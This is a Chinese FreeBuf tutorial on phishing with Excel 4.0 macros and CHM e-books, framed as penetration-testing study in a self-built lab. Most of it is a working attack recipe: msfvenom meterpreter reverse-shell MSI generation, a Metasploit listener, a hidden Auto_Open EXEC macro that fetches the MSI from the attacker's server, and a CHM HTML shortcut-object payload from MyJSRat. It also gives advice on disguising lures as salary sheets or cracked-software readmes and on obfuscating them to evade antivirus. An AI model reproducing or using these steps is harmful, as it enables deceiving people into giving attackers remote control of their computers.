freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基钓鱼篇:Excel宏和CHM电子书免杀钓鱼
2020-12-24 21:52:06

系列文章

渗透测试之地基钓鱼篇:thinkphp平台XSS钓鱼

简介

渗透测试-地基篇:

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意:

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

Excel一般指Microsoft Office Excel。这里就不用多说了,它跟office一样都是支持宏的,所以一样存在宏病毒。当我们把恶意的宏代码嵌入Excel中,用户打开Excel文件里的宏就会被触发,然后拿到对方电脑权限,并进行控制。

CHM是已编译的帮助文件,它是微软新一代的帮助文件格式,目前也是比较常见的一种文件了。

CHM的原理是支持Javascript、VBscript、ActiveX、JavaApplet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,并可以通过URL 与Internet联系在一起,那么这里就可以利用这些支持的形式,在里面注入恶意代码,在恶意代码层面上在做个免杀。

.Chm文件格式是HTML文件格式的扩展,所以接下来演示的是如何利用恶意代码注入html文本中,并创建chm的说明文件,通过上传用户下载后执行,在攻击机上直接控制对方电脑。

二、环境介绍

1608213735_5fdb64e7aa0655a649f8f.png!small?1608213737710

黑客(攻击者):

IP:192.168.2.153

系统:kali.2020.4

VPS服务器:

例如搭建了各种破解软件平台,供客户需求下载!

钓鱼地址:http://xxxx.dayuixiyou.cn

办公电脑:

系统:windwos7

IP:192.168.2.144

目前黑客利用kali运行了MyJSRat外壳 ,通过制作Excel宏恶意后门和制作CHM电子文件说明书进行上传,并诱骗安全意识差人员进行需求下载,并获得对方电脑权限的演示过程!!

三、Excel宏躲避杀软检测

演示制作Excel是利用Excel 2016版本进行!

1、制作msi恶意文件

1608818176_5fe49e009fffd585db421.png!small

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.153 lport=6666 -f msi -o dayu.msi

利用msfvenom生成msi恶意后门文件,这里还有很多方法可以生成msi,免杀也可以在这里开始进行!

2、建立监听

1608818317_5fe49e8d65ab087d0b1d9.png!small?1608818317945

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.2.153

set lport 6666

exploit -j #持续监听

这里创建好监听后,等待被钓鱼到的客户进行反弹shell即可!

3、模拟Vps开启服务

1608818419_5fe49ef3a489ca463a9ce.png!small?1608818420052

这里就假设kali是公网服务器,开启了apache后,将msi恶意文件上传到服务器....接下来就开始制作分离免杀的Excel恶意宏后门文件,我前面一片XSS文章利用Flash钓鱼也是利用了分离免杀效果,目前还是挺好用的!!最后我还会讲解到一些思路!!继续!!

4、制作Excel宏

1608818434_5fe49f0227ec516e599ad.png!small?1608818434639

首先在windwos环境利用excle2016创建一个.xlsx的文件!可看时间也是最新操作演示的!

1608818744_5fe4a0382559bcf5ec0b9.png!small?1608818744438

创建好后双击打开,并在左下角邮件点击sh...,然后点击插入!

1608818862_5fe4a0ae16c6e14f74fb6.png!small?1608818862532

选择MS Excel 4.0宏表....

1608818893_5fe4a0cdb84b60565ac70.png!small?1608818894148

然后在左上角第一个格子输入:

=EXEC("msiexec /q /ihttp://192.168.2.153/dayu.msi") #调用执行服务器上的dayu.msi文件

第二个格子输入:

=HALT()        标识Excel 4.0宏结束,类似C语言return指令

1608819039_5fe4a15f84a6b13decf24.png!small?1608819039989

然后将左上角的A1模式手动输入:Auto Open,Enter回车即可!

1608819096_5fe4a1980e0053b18a4b7.png!small?1608819096445

为了避免对方打开能看到宏文件,以及增强隐蔽性,将宏进行隐藏!

1608819131_5fe4a1bb16950945db464.png!small?1608819131534

Ctrl+S保存后,出现该提示,按照该提示进行点击否!

1608819155_5fe4a1d30bf36fbc0c56c.png!small?1608819155714

然后选择创建名称为:.xlsm,并保存!

1608819196_5fe4a1fc6d51d4609c973.png!small?1608819196723

可看到桌面上存在了两个文件...一个是纯文本,一个是xlsm恶意文件!

这里只需要修改下dayu-hong文件名,例如工资表等,对方很容易打开查看!

5、执行恶意宏并控制对方电脑

1608819246_5fe4a22e19bdc43e4775e.png!small?1608819246524

可看到双击恶意宏文件后,提示宏被禁用了,需要启用内容!

1608819382_5fe4a2b602e22bfb5599d.png!small?1608819383979

可看到被攻击方点击了启用宏内容后,黑客kali系统上MSF获得了反弹shell外壳!!

1608819447_5fe4a2f7b95286046c42e.png!small?1608819449895

获得外壳后进一步查看计算机信息,和IP地址信息,都是可以查看的,下一步就可以进行后渗透深入攻击了!!

四、CHM 电子书钓鱼

废话不多说,开始演示,该演示是2020.12.24进行最新操作的!

1、环境安装和介绍

项目地址:https://github.com/Ridter/MyJSRat

下载项目:git clone https://github.com/Ridter/MyJSRat

这个工具是用python2编写,脚本修改分为两个模式,交互模式以及执行命令模式。大多数情况使用交互模式,开始!

1608819770_5fe4a43a61e8bb712d431.png!small?1608819770900

命令:git clone https://github.com/Ridter/MyJSRat

进行安装,成功安装好后的界面!

1608819810_5fe4a462311a62d0062e9.png!small?1608819810751

命令执行:python MyJSRat.py

可看到帮助信息,几个功能都有详细的解释!

2、生成恶意代码

1608819875_5fe4a4a3e0e8036fb954c.png!small?1608819876421命令:

python MyJSRat.py -i 192.168.2.153 -p 6666

-i    指定IP地址

-p    指定开放的端口

可看到获得了恶意代码地址:http://192.168.2.153:8888/wtf

1608819934_5fe4a4decba0fbc77ec48.png!small?1608819935373

访问后即可看到恶意代码,等会就利用该恶意代码使用rundll32.exe进行反弹shell!!

3、制作CHM的恶意html文件

1608820038_5fe4a546306f6ad8a859e.png!small?1608820039341

首先这里需要一段Html的payload,主要是对应chm格式导出的,这里可以在后面介绍的工具中查看到,或者在google都能找到,我这里也把我这段html提供给大家:

<!DOCTYPE html><html><head><title>说明</title><head></head><body> <br>

<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1

height=1>

<PARAM name="Command" value="ShortCut">

<PARAM name="Button" value="Bitmap::shortcut">

<PARAM name="Item1" value=',这里是你的 payload'>

<PARAM name="Item2" value="273,1,1">

</OBJECT>

<SCRIPT>

x.Click();

</SCRIPT>

</body></html>

这里在本地创建一个dayu-chm...的文件夹,在文件夹内新建一个.txt文本,然后将以上代码复制进入!可看到中文提示,放入payload在该处即可!

1608820206_5fe4a5eef0f6127607c02.png!small?1608820208407

将MyJSRat.py生成的payload替换掉:这里是你的 payload!!!

然后由于需要在windwos环境中执行该文件,在html编码中,需要在exe和javascript添加一个英文格式的逗号即可!!否者无法执行!!

1608820347_5fe4a67bde72ab2097c5d.png!small?1608820349621

将该文本另存为,编码格式选择:ANSI,文件名:dayu.html即可!

4、部署Easy CHM工具

Easy CHM是一款CHM电子书或CHM帮助文件的制作工具,只需三步即可完成CHM的制作,用户只需指定相应目录,该软件将会导入该文件夹内所有文件,然后用户就可以设置CHM编译选项、开始制作。EasyCHM可用于个人或者单位制作高压缩比的带有全文检索及高亮显示搜索结果的网页集锦、CHM帮助文件、专业的产品说明、公司介绍、CHM电子书等等。

百度很多破解版,提供个下载地址:

https://www.jb51.net/softs/619386.html

简单了解后,继续进行演示!

1608820562_5fe4a75216aedb3605ab8.png!small?1608820563412

双击echmsetup_CK.exe后,按照提示选择语言安装完成,然后将破解软件全部复制到目录下即可!

1608820772_5fe4a824abd6f0eb566ec.png!small?1608820773963

安装完成后,Easy CHM双击该文件,打开选择新建文件,选择之前创建好的文件夹dayu-chm,文件夹中存放着恶意的1.html代码!

1608820925_5fe4a8bdbe2b400046bdd.png!small?1608820926293

点击OK后,注意的是,本文本无法修改!

说明对应的也就是文件左边的说明,右边还存在恶意回弹链接!!

1608820990_5fe4a8fe9bdce3e5b227d.png!small?1608820991974

查看代码无误后(未出现乱码编码),点击编译,并将最后一行修改下名称为:说明

这里更好的诱骗对方进行打开文件执行查看!!!Settings即可!!

1608821069_5fe4a94dafb6e0d69ebae.png!small?1608821070822

可看到由于这也是分离免杀的效果,杀毒现在都是静态查杀,所以火绒都无法查看到这是病毒文件!

5、成功控制

1608821130_5fe4a98a970d5e26055f8.png!small?1608821135022

这里可以将说明.chm文件打包到某热度较高的破解软件中进行打包,很容易让人点开说明进行了解,进而控制对方电脑的!!

这里可看到成功获得对方电脑的控制权限,并执行相对应的查看命令!!

五、总结思路

目前Excel和CHM都是比较常见的文件,也是很容易诱骗到对方执行该文件,表格在上班族中是必不可少的一个文档工具,而chm电子书也是在压缩包和软件背后解释软件的一种说明文件,影响力也非常大,而excel和chm只支持在windwos运行,不能在linux运行,非要在linux运行需要安装插件,所以大部分针对用户是windwos用户!!

这里有很多点可以进行深入免杀,在Excel宏中进行base64转换,在进行混淆,在来个分离基本上能过很多杀软了,而chm可以在生成回访的恶意代码中进行混淆,或者在html中针对chm生成的代码中进行加代码混淆,也是能过杀软的,这些思路都是基于转编码和混淆的基础在加上以上演示的分离免杀效果,对于国内的杀软轻松度过!!

在生活中多少人因为工资表,小说,破解软件,刷单工具等打开chm和excel文件?

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余


# 钓鱼 # Excel
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录